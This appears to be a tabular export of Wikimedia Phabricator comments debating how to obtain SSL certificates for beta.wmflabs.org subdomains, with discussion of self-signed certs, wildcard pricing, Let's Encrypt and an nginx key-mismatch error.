+> I think we're going to need more of these (mysql and kafka servers / clients in the near term), and I'd like to get to the point where we're dealing with short lived certs wherever possible.
+
+That might be hard as we're not exposing those servers directly to the internet. I suppose we could use an internal CA and run our own Let's Encrypt-like setup, but this is all far outside the scope of this task :)",,,1460741823,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,145,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1
+646659,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#2210736, @Krenair wrote:
+>>>! In T97593#2115226, @Krenair wrote:
+>> I am also wondering what the best way is to put the Let's Encrypt client onto the beta servers. Could we install it on the deployment-cache-text04 and deployment-cache-upload04 instances and have them get their own certificates? They're all running jessie and there is a letsencrypt package available.
+
+Ftr, I'd love to see us move in the direction of the let's encrypt model, where it's a straightforward, automated process for servers to get a valid cert for their identity. Whether it's LE specifically, or one of the projects that makes an LE-like api that organizations can run to automatically get certificates from their preferred CA.
+
+I think we're going to need more of these (mysql and kafka servers / clients in the near term), and I'd like to get to the point where we're dealing with short lived certs wherever possible.",,,1460741344,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,145,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1
+646648,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T97593#2115226, @Krenair wrote:
+> I am also wondering what the best way is to put the Let's Encrypt client onto the beta servers. Could we install it on the deployment-cache-text04 and deployment-cache-upload04 instances and have them get their own certificates? They're all running jessie and there is a letsencrypt package available.
+
+>>! In T97593#2116454, @Krenair wrote:
+> I checked this in deployment-cache-upload04 today. It's from jessie-backports and depends on lots of things from there, so you end up with something like:
+> `sudo apt-get install letsencrypt python-cryptography=1.1.1-1~bpo8+1 python-pyasn1=0.1.9-1~bpo8+1 python-openssl=0.15.1-2~bpo8+1`
+> (I did not actually allow this to continue, would like someone else to review since I'm not used to messing with package versions like this)
+
+>>! In T97593#2210712, @Krenair wrote:
+> ops have started using it in production for (ubuntu|apt|mirrors).wikimedia.org and it might be puppetised soon. (see T132450)",,,1460740489,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,145,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,1,1
+646634,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T97593#2115226, @Krenair wrote:
+> I am also wondering what the best way is to put the Let's Encrypt client onto the beta servers. Could we install it on the deployment-cache-text04 and deployment-cache-upload04 instances and have them get their own certificates? They're all running jessie and there is a letsencrypt package available.
+
+>>! In T97593#2116454, @Krenair wrote:
+> I checked this in deployment-cache-upload04 today. It's from jessie-backports and depends on lots of things from there, so you end up with something like:
+> `sudo apt-get install letsencrypt python-cryptography=1.1.1-1~bpo8+1 python-pyasn1=0.1.9-1~bpo8+1 python-openssl=0.15.1-2~bpo8+1`
+> (I did not actually allow this to continue, would like someone else to review since I'm not used to messing with package versions like this)",,,1460738908,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,145,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,1,1
+628753,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I'm going around a few tasks on this subject trying to merge/close everything together (this one, T70387, T75919, T97593). I'm going to see if I can get Let's Encrypt working for this.",,,1457835537,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,140,,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+628752,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I'm going around a few tasks on this subject trying to merge everything together (this one, T70387, T75919, T97593). I'm going to see if I can get Let's Encrypt working for this.",,,1457835416,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,140,,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+595884,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1951388, @faidon wrote:
+> Can someone repeat why we can't just flatten the beta hostnames and just procure a *.beta.wmflabs.org certificate?
+
+Presumably because that would make beta less similar to production and less useful for testing things where the domain structure is relevant (e.g. CentralAuth shared cookies).",,,1453575790,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,133,,0,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+594127,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#527689, @Krinkle wrote:
+> Would it be an option to flatten our subdomains?
+> 
+> We'd only need beta.wmflabs.org and *.beta.wmflabs.org to be in the certificate
+> 
+> (at e.g. DigiCert, those wildcards are $1425 for 3 years includes root and *)
+> 
+> For example:
+> 
+> * beta.wmflabs.org
+> * bits.beta.wmflabs.org
+> * wikimedia.beta.wmflabs.org
+> * commons-wikimedia.beta.wmflabs.org
+> * wikipedia.beta.wmflabs.org
+> * en-wikipedia.beta.wmflabs.org
+> * nl-wikibooks.beta.wmflabs.org
+> * en-m-wikibooks.beta.wmflabs.org
+> * en-m-wikinews.beta.wmflabs.org
+
+I've asked the same a few times and I don't remember the response. Can someone repeat why we can't just flatten the beta hostnames and just procure a *.beta.wmflabs.org certificate?",,,1453369421,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,133,,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+572897,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Yeah, beta.wmflabs.org was in the private beta. Don't know if it can actually work with our setup though.",,,1449227020,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,126,,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+572840,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Let's Encrypt is in Public Beta now. Everyone can get free certificates from them now.
+
+[1] https://letsencrypt.org/2015/12/03/entering-public-beta.html
+[2] User Guide for getting certs using Let's Encrypt client: https://letsencrypt.readthedocs.org/en/latest/",,,1449209519,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,126,,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+548850,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1669896, @Chmarkine wrote:
+> [[ https://letsencrypt.org/ | Let's Encrypt ]] provides free trusted(*) DV non-wildcard certs. We have 31 domains lists [[ http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix | here ]]. If you think it's plausible, we can obtain 31 certs (one for each domain) from Let's Encrypt at zero cost. 
+> 
+> (*) They will have their CA certificate cross-signed by IdenTrust next month, so the certs they issued won't be trusted until then.
+
+Let's Encrypt has received the cross-signature, so its certificates are now trusted by all major browsers.
+
+[1] https://letsencrypt.org/2015/10/19/lets-encrypt-is-trusted.html",,,1445334021,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,120,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+534286,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1670596, @Lixxx235 wrote:
+> Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. 
+
+Yes. But StartCom charges $24.9 for each certificate revocation.
+
+https://www.startssl.com/?app=43",,,1443105776,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,116,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,0,0,1,1,1,1,0,0,0,0,0,1
+534284,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1670596, @Lixxx235 wrote:
+> Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. 
+
+Yes. But StartCom charges $25 for each certificate revocation.",,,1443105592,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,116,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,1
+534221,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. ",,,1443100193,,PHID-USER-2hzxflhh7cwlrnz74x6y,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,116,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+534188,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I think we'd also want upload.beta.wmflabs.org, maybe stream.wmflabs.org, all of the m./zero. variants? What about mx.beta.wmflabs.org?",,,1443097851,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,116,,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+534055,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"[[ https://letsencrypt.org/ | Let's Encrypt ]] provides free trusted(*) DV non-wildcard certs. We have 31 domains lists [[ http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix | here ]]. If you think it's plausible, we can obtain 31 certs (one for each domain) from Let's Encrypt at zero cost. 
+
+(*) They will have their CA certificate cross-signed by IdenTrust next month, so the certs they issued won't be trusted until then.",,,1443084427,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,116,,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+524836,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"one more reason we should have this is to avoid needing https://gerrit.wikimedia.org/r/237523  (T105794, T112195)",,,1441924507,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,114,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0
+505970,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,@ArielGlenn: there's an NDA'd task at T97593 which Brandon is driving.,,,1439306906,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,110,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0
+505956,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,@ArielGlenn: there's an NDA's task at T97593 which Brandon is driving.,,,1439306268,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,110,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0
+505798,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,@greg  so what's the decision; there's also https://phabricator.wikimedia.org/T75919 and https://phabricator.wikimedia.org/T70387   Self-signed certs in beta or not?  ,,,1439287610,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,110,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0
+445536,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Is T70387 a duplicate of this?,,,1429298534,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,93,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+227553,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Matthew Flaschen from comment #93)
+> If cost is the issue, did we consider setting up our own certificate
+> authority (chained to an existing root)?  It's an upfront cost, but as I
+> understand it that means no per-cert cost.
+> 
+> Google and Microsoft both have them, just to name a couple.
+
+Getting a delegated signing certificate is a huge deal actually. Once you have one, any certificate you sign is trusted by all who trust your upstream signer. The x509 protocol does not make it possible to construct a trusted signing certificate that is restricted to a particular domain. As such, any trusted signer who issues delegate signing certificates must impose strict practices and regular audits of those practices on any delegate organization.",,,1406914396,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,56,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+227544,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I can think of three significant problems with self-signed certificates:
+
+1. It trains people to ignore SSL warnings, which means they ignore them when it's a legit problem.
+2. It causes problems with automated tests (not clear if all of these have been worked around).
+3. It's a real pain when testing manually because you have to visit https://bits.beta.wmflabs.org/ (and maybe also upload.beta.wmflabs.org) manually in Firefox.
+
+FWIW, https://en.wikipedia.beta.wmflabs.org isn't working at all (not even invalid) right now (can't connect), but I assume that's temporary
+
+If cost is the issue, did we consider setting up our own certificate authority (chained to an existing root)?  It's an upfront cost, but as I understand it that means no per-cert cost.
+
+Google and Microsoft both have them, just to name a couple.",,,1398901677,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,43,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+227536,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"This bug seems to be drifted away from the initial comment.
+(In reply to Antoine ""hashar"" Musso from comment #0)
+> We need certificates generated by 'Labs CA' for the entries listed in
+> role::protoproxy::ssl::beta and some more.  I guess the easiest would be to
+> create *.beta.wmflabs.org cert that will also contains the following DNS
+> entries:
+
+So
+
+(In reply to Greg Grossmeier from comment #91)
+> Won't Fix'ing this for now.
+> A) We have self-signed certs in place on Beta
+
+We still don't have valid self-signed certs for beta since eqiad migration as far as I know. At least nginx refuses to starts because of cert mismatch. As I was told in bug 63538 that this (certs) is handled here, I REOPEN. Please generate new (self-signed) certs.",,,1398877580,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,43,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,1
+227528,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Won't Fix'ing this for now.
+
+A) We have self-signed certs in place on Beta
+B) Real certs are expensive
+C) There hasn't been any team come with a specific use case where buying the real certs would make sense.
+
+Feel free to reopen if any of the above changes.",,,1398876875,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,43,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+227523,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org," > I'm afraid it can't and *.wmflabs.org is not *.beta.wmflabs.org (only one
+> level of wildcard possible). But ask RobH to make sure.
+
+Ah indeed my bad. Sorry :-]",,,1397643671,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,41,,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+227515,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Antoine ""hashar"" Musso from comment #86)
+star.wmflabs.org would cover the entries:
+
+ bits.beta.wmflabs.org
+ upload.beta.wmflabs.org
+ wikidata.beta.wmflabs.org
+
+I'm afraid it can't and *.wmflabs.org is not *.beta.wmflabs.org (only one level of wildcard possible). But ask RobH to make sure.",,,1397643379,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+227509,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"for *.wmflabs.org, the self-signed cert has recently been replaced with one from RapidSSL , at first the chained file, which is created by puppet was wrong, the above changes should have fixed that.",,,1397643103,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,41,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+227501,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
+
+https://gerrit.wikimedia.org/r/#/c/111386/
+https://gerrit.wikimedia.org/r/#/c/126008/1",,,1397643019,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+227495,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
+The beta cluster has for Varnish instances with a Nginx HTTPS proxy installed.  Nginx refuses to start because the star.wmflabs.org certificate is invalid:
+
+root@deployment-cache-bits01:~# /etc/init.d/nginx start
+Starting nginx: nginx: [emerg]
+  SSL_CTX_use_PrivateKey_file(""/etc/ssl/private/star.wmflabs.org.key"")
+  failed (SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch)
+ nginx: configuration file /etc/nginx/nginx.conf test failed
+
+
+To fix it we would need a few certificates to be installed on the instances via the role::protoproxy::ssl::beta puppet class in manifests/role/protoproxy.pp
+
+star.wmflabs.org would cover the entries:
+
+ bits.beta.wmflabs.org
+ upload.beta.wmflabs.org
+ wikidata.beta.wmflabs.org
+
+We would need *.wikimedia.beta.wmflabs.org and *.wikipedia.beta.wmflabs.org certs as well.",,,1397642712,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,41,,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+227489,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Greg Grossmeier from comment #84)
+> * Setup was(is?) annoying because of the lack of easy way to secure these
+> private certs from other non-WMF root labs users.
+
+I thought comment 65 and comment 67 said the ""access to private keys without an NDA"" part was solved.
+
+Antoine said he did the sudo configuration (see comment 67); I'm not sure if it's checked yet.",,,1397014720,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,40,,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1
+227483,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(Lowering priority and unassigning from self)
+
+Status, afaict:
+* Price was annoying, but we've identified the 7 we want (comment 77, comment 79, and comment 83).
+* Setup was(is?) annoying because of the lack of easy way to secure these private certs from other non-WMF root labs users.
+
+Marc/RobH: Let me know if I have that wrong and if there's anything else we can do right now.",,,1396547005,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,39,,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0
+227476,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"wikidata.beta.wmflabs.org might be nice, since I know a few gadgets go cross domain to it.
+
